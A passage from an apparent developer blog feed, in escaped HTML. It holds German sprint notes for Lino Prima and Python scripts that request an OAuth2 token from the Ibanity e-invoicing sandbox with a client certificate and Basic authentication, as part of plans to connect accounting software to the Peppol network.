&lt;span class="s2"&gt;&amp;quot;meta&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:{&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;requestId&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;00015ABF903CA9960A01063301BB678FE5E7E08D82DF&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;}}]}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2025/0118.html</guid><pubDate>Sat, 18 Jan 2025 00:00:00 +0000</pubDate></item><item><title>Lino Prima next sprint</title><link>https://luc.lino-framework.org/blog/2025/0115.html</link><description>&lt;section id="lino-prima-next-sprint"&gt;
&lt;h1&gt;Lino Prima next sprint&lt;a class="headerlink" href="#lino-prima-next-sprint" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Wednesday, January 15, 2025&lt;/p&gt;
&lt;p&gt;In &lt;a class="reference external" href="https://prima.lino-framework.org/api/lino_prima.projects.prima1.html#module-lino_prima.projects.prima1" title="(in Lino Prima)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_prima.projects.prima1&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; demo project. Signed in as
&lt;cite&gt;madeleine.carbonez&lt;/cite&gt;.&lt;/p&gt;
&lt;p&gt;TALK:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Perioden werden als Nummer angezeigt: das kam wahrscheinlich, weil site data nicht aktuell
war. Mit &lt;kbd class="kbd docutils literal notranslate"&gt;Shift&lt;/kbd&gt;+&lt;kbd class="kbd docutils literal notranslate"&gt;Ctrl&lt;/kbd&gt;+&lt;kbd class="kbd docutils literal notranslate"&gt;F5&lt;/kbd&gt; geht es weg.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Grüne Bausteintitel unlesbar: scheint browserabhängig zu sein, bei mir ist
er deutlich lesbar weiß auf grün. Gemeinsam: Andere Farben ausprobieren. Hat
Edge eine Inspect-Funktion bzw. Entwickler-Modus (&lt;kbd class="kbd docutils literal notranslate"&gt;Shift&lt;/kbd&gt;+&lt;kbd class="kbd docutils literal notranslate"&gt;Ctrl&lt;/kbd&gt;+&lt;kbd class="kbd docutils literal notranslate"&gt;I&lt;/kbd&gt; im
Firefox), damit ich sehen kann was da falsch läuft.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Wo ist das Zeugnis? Gemeinsam testen.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Piktogramme pro Fach.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;DONE:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Unsinniger Text “Bausteine als Bausteine” in
&lt;span class="menuselection"&gt;Schule ‣ Meine Lehrerrollen&lt;/span&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Übersichtstabelle Bausteine pro Klasse: keine Fortschrittskästchen und keine
Prozentzahl anzeigen, lediglich ein Symbol “⚒” und orange Farbe, um
anzuzeigen, dass der Baistein gestartet ist.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Lino wusste bisher nicht, dass es in jedem Schuljahr einen Kurs “Religion”
geben muss. Für Religion in der 6B wurden in der App noch keine Tests
erstellt. Der neue GroupChecker prüft das jetzt nach und erstellt fehlende
Kurse. Für jedes Fach, das “Erweitert” angekreuzt hat und für das eine Sektion
in der Zeugnisvorlag existiert, muss ein Kurs existieren.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Lino zeigte unsinnigerweise alle drei Möglichkeiten Smiley/Prädikat/Bewertung
an.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;TODO:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;MyGroups occurs twice in dashboard&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2025/0115.html</guid><pubDate>Wed, 15 Jan 2025 00:00:00 +0000</pubDate></item><item><title>Playing with Ibanity (continued)</title><link>https://luc.lino-framework.org/blog/2025/0114.html</link><description>&lt;section id="playing-with-ibanity-continued"&gt;
&lt;h1&gt;Playing with Ibanity (continued)&lt;a class="headerlink" href="#playing-with-ibanity-continued" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Tuesday, January 14, 2025&lt;/p&gt;
&lt;p&gt;I asked in the Ibanity support forum what’s wrong with my &lt;a class="reference internal" href="0113.html"&gt;&lt;span class="doc"&gt;yesterday’s
script&lt;/span&gt;&lt;/a&gt; and Pedro gave me a more promising version:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;pathlib&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;requests&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;base64&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;sys&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;json&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;pprint&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;pprint&lt;/span&gt;

&lt;span class="c1"&gt;# Define client ID and secret&lt;/span&gt;
&lt;span class="n"&gt;client_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;69d85961-7d68-474d-9ac2-426fdc71bab8&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;client_secret&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;valid_client_secret&amp;quot;&lt;/span&gt;

&lt;span class="c1"&gt;# Define certificate and key file paths&lt;/span&gt;
&lt;span class="n"&gt;cert_dir&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;~/Documents/ibanity/application_&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;client_id&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;expanduser&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;cert_file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cert_dir&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;certificate.pem&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;key_file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cert_dir&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;decrypted_private_key.pem&amp;quot;&lt;/span&gt;

&lt;span class="c1"&gt;# Validate if the key and certificate files exist&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;cert_file&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exists&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Error: Certificate file not found at &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;cert_file&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;key_file&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exists&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Error: Private key file not found at &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;key_file&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Base64 encode client_id and client_secret for Basic Auth&lt;/span&gt;
&lt;span class="n"&gt;client_credentials&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;client_id&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;:&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;client_secret&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;encoded_credentials&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;b64encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;client_credentials&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="c1"&gt;# Create an HTTPS session&lt;/span&gt;
&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Session&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="c1"&gt;# Attach client certificate and key to the session&lt;/span&gt;
    &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cert&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cert_file&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key_file&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# Add the Authorization header&lt;/span&gt;
    &lt;span class="n"&gt;headers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;&amp;quot;Authorization&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Basic &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;encoded_credentials&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s2"&gt;&amp;quot;Content-Type&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;application/x-www-form-urlencoded&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="c1"&gt;# Required for OAuth2 requests&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c1"&gt;# Make the POST request&lt;/span&gt;
    &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="s2"&gt;&amp;quot;https://api.ibanity.com/einvoicing/oauth2/token&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;grant_type&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;client_credentials&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
        &lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# Handle response&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Response status: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;# print(f&amp;quot;Response body: {response.text}&amp;quot;)&lt;/span&gt;
    &lt;span class="n"&gt;rv&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Response text:&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;pprint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exceptions&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SSLError&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;ssl_error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;SSL Error: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ssl_error&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Please ensure your certificate and private key are correct and properly configured.&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exceptions&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;RequestException&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;req_error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Request Error: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;req_error&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Great! This version works:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Response&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;
&lt;span class="n"&gt;Response&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;access_token&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;access_token_1737210675&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;expires_in&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;300&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;not-before-policy&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;refresh_expires_in&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;300&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;refresh_token&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;refresh_token_1737210675&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;scope&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;email profile&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;session_state&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;94bdf4ce-0dea-4ab7-abda-a53c7ba4bc87&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;token_type&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;bearer&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;TIL that providing my credentials is more complex than just giving a certificate
and a private key, it also requires &lt;a class="reference external" href="https://en.wikipedia.org/wiki/Basic_access_authentication"&gt;Basic access authentication&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I continue to read &lt;a class="reference external" href="https://documentation.ibanity.com/einvoicing/1/products#services"&gt;Flowin e-invoicing Services&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Some sentences in this document make me believe that maybe our customers can
access the Peppol network via their online banking application:  “All the
customer has to do is register to Zoomit via his preferred online banking
application.” So there is some hope that our customers can simply instruct their
bank to accept incoming purchase invoices, they would then continue to enter
them manually into TIM as they are used to do. Making this step automatically
would involve considerable changes in configuration, we don’t want this right
now.&lt;/p&gt;
&lt;p&gt;TIM can already generate an invoice or credit note into Peppol XML format.  The
next steps TIM should learn to do:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Customer Search – check if a customer is registered on the Peppol network (It
seems that the sender is responsible for verifying this, which makes sense)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Send document - sending the invoice or credit note in XML format&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The story continues here: &lt;a class="reference internal" href="0118.html"&gt;&lt;span class="doc"&gt;Playing with Ibanity (continued)&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2025/0114.html</guid><pubDate>Tue, 14 Jan 2025 00:00:00 +0000</pubDate></item><item><title>Playing with Ibanity</title><link>https://luc.lino-framework.org/blog/2025/0113.html</link><description>&lt;section id="playing-with-ibanity"&gt;
&lt;h1&gt;Playing with Ibanity&lt;a class="headerlink" href="#playing-with-ibanity" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Monday, January 13, 2025&lt;/p&gt;
&lt;p&gt;We are not going to become a PEPPOL Access Point, but we can become partner with
Ibanity. We pay them a yearly fee of 2400€ and for this we can give access to up
to 200 customers. It’s not cheap but it’s a reasonable price.&lt;/p&gt;
&lt;section id="getting-started"&gt;
&lt;h2&gt;Getting started&lt;a class="headerlink" href="#getting-started" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;I opened an account on their &lt;a class="reference external" href="https://developer.ibanity.com"&gt;developer portal&lt;/a&gt;. This is where we will create credentials
for our customers.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;They do not provide a web interface like Hermes where our customers would
themselves manage their invoices. We must implement this interface in TIM. The
TIM of my customers will connect to Ibanity using the credentials they get
from us, and TIM must handle all events of the PEPPOL network: receiving
invoices, sending invoices, verifying whether a business partner exists, …&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;They provide a sandbox application, which I can use to write and test how our
software will access their API.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://documentation.ibanity.com"&gt;API Reference&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;They have a &lt;a class="reference external" href="https://github.com/ibanity/ibanity-python"&gt;Python Library&lt;/a&gt;,
which  “provides wrappers around the Ibanity API.”&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I must now extend our accounting software TIM so that it uses the Ibanity API to
access the Peppol network. I will create credentials for my customers in the
Ibanity web interface. The TIM of my customers will connect to Ibanity using the
credentials they get from me, and TIM must handle the events of the PEPPOL
network: receiving invoices, sending invoices, verifying whether a business
partner exists, …&lt;/p&gt;
&lt;p&gt;I see that Ibanity had a Python library for accessing the API. But I also see
that the last commit in this library is 7 years old, and this library is not
published on PyPI, and there is no Python-specific documentation. I also know
that I can make raw API calls from within Python. So here is my first question:
Is this Python library actually being used by somebody? Is it a recommended way
to use the Ibanity API?&lt;/p&gt;
&lt;/section&gt;
&lt;section id="my-first-script"&gt;
&lt;h2&gt;My first script&lt;a class="headerlink" href="#my-first-script" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Here is the first script I used for playing with Ibanity:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;pathlib&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;requests&lt;/span&gt;

&lt;span class="n"&gt;client_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;69d85961-7d68-474d-9ac2-426fdc71bab8&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;pth&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;~/.ssh/ibanity/application_&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;client_id&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;pth&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pth&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;expanduser&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="n"&gt;cert_file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pth&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;certificate.pem&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;key_file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pth&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;decrypted.private_key.pem&amp;quot;&lt;/span&gt;

&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Session&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="c1"&gt;# s.cert = (key_file, cert_file)&lt;/span&gt;
&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cert&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cert_file&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key_file&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;https://api.ibanity.com/einvoicing/suppliers?&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
